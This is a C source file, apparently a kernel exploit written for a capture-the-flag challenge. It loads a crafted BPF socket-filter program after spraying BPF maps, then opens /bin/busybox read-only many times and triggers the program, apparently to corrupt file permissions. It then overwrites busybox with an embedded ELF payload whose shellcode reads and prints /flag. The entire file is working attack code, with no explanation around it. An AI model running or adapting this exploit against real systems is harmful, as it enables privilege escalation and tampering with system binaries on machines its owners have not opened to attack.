1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222
| #include "mykernel.h" #include "bpf_insn.h"
#define FILE_SPRAY_N 0x300 #define MAP_SPRAY_N 8*16
static inline int bpf(int cmd, union bpf_attr *attr) { return syscall(__NR_bpf, cmd, attr, sizeof(*attr)); }
static __always_inline int bpf_map_create(unsigned int map_type, unsigned int key_size, unsigned int value_size, unsigned int max_entries, unsigned int map_flags) { union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries, .map_flags = map_flags, }; return bpf(BPF_MAP_CREATE, &attr); }
static __always_inline int bpf_map_lookup_elem(int map_fd, const void* key, void* value) { union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .value = (uint64_t)value, }; return bpf(BPF_MAP_LOOKUP_ELEM, &attr); }
static __always_inline int bpf_map_freeze(int map_fd) { union bpf_attr attr = { .map_fd = map_fd, }; return bpf(BPF_MAP_FREEZE, &attr); }
static __always_inline int bpf_map_update_elem(int map_fd, const void* key, const void* value) { union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .value = (uint64_t)value, }; return bpf(BPF_MAP_UPDATE_ELEM, &attr); }
static __always_inline int bpf_map_delete_elem(int map_fd, const void* key) { union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, }; return bpf(BPF_MAP_DELETE_ELEM, &attr); }
static __always_inline int bpf_map_get_next_key(int map_fd, const void* key, void* next_key) { union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .next_key = (uint64_t)next_key, }; return bpf(BPF_MAP_GET_NEXT_KEY, &attr); }
static __always_inline uint32_t bpf_map_get_info_by_fd(int map_fd) { struct bpf_map_info info; union bpf_attr attr = { .info.bpf_fd = map_fd, .info.info_len = sizeof(info), .info.info = (uint64_t)&info,
}; bpf(BPF_OBJ_GET_INFO_BY_FD, &attr); return info.btf_id; }
struct bpf_insn hack_prog[] = { BPF_MOV64_REG(BPF_REG_9, BPF_REG_1), BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_LD_MAP_FD(BPF_REG_1, 3*8+3),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(),
BPF_MOV64_IMM(BPF_REG_1, 2|0x40000|0xa801d), BPF_ALU64_IMM(BPF_ADD, BPF_REG_0, 0x34), BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_1, 0),
BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), };
#define BPF_LOG_SZ 0x20000 char bpf_log_buf[BPF_LOG_SZ] = { '\0' };
union bpf_attr hack_attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insns = (uint64_t) &hack_prog, .insn_cnt = sizeof(hack_prog) / sizeof(hack_prog[0]), .license = (uint64_t) "GPL", .log_level = 2, .log_buf = (uint64_t) bpf_log_buf, .log_size = BPF_LOG_SZ, };
char buffer[0x8000] = "eurus";
void trigger(int fd_tmp) { struct __sk_buff md = {};
union bpf_attr test_run_attr = { .test.prog_fd = fd_tmp, .test.data_size_in = 0x300, .test.data_in = (uint64_t)&buffer, .test.ctx_size_in = sizeof(md), .test.ctx_in = (uint64_t)&md, };
bpf(BPF_PROG_TEST_RUN, &test_run_attr); }
int file_fds[FILE_SPRAY_N]; int map_fds[MAP_SPRAY_N];
int main() {
setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); save_status(); bind_core(0);
prctl(PR_SET_NAME, "Eurus"); memset(buffer, 'A', sizeof(buffer));
for(int i=0; i<MAP_SPRAY_N; i++) { map_fds[i] = bpf_map_create(BPF_MAP_TYPE_ARRAY, 4, 0x200-0x140, 1, BPF_F_WRONLY_PROG); if(map_fds[i] < 0) perror("bpf_map_create"); }
puts("Spray map over.");
int bpf_fd = bpf(BPF_PROG_LOAD, &hack_attr); if (bpf_fd < 0) perror("bpf_prog_load"), puts(bpf_log_buf);
for(int i=0; i<MAP_SPRAY_N; i++) { close(map_fds[i]); }
puts("Release maps over.");
for(int i=0; i<FILE_SPRAY_N; i++) { file_fds[i] = open("/bin/busybox", O_RDONLY); if(file_fds[i] < 0) perror("open"); }
puts("Spray file over.");
trigger(bpf_fd);
unsigned char elfcode[] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xbf, 0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x00, 0x00, 0x57, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x48, 0x83, 0xc0, 0x02, 0x0f, 0x05, 0x89, 0xc7, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc2, 0x00, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc0, 0x0f, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00, };
for(int i=0; i<FILE_SPRAY_N; i++) { int n = write(file_fds[i], elfcode, sizeof(elfcode)); if (n > 0) { puts("Write Success!"); break; } }
return 0; }
|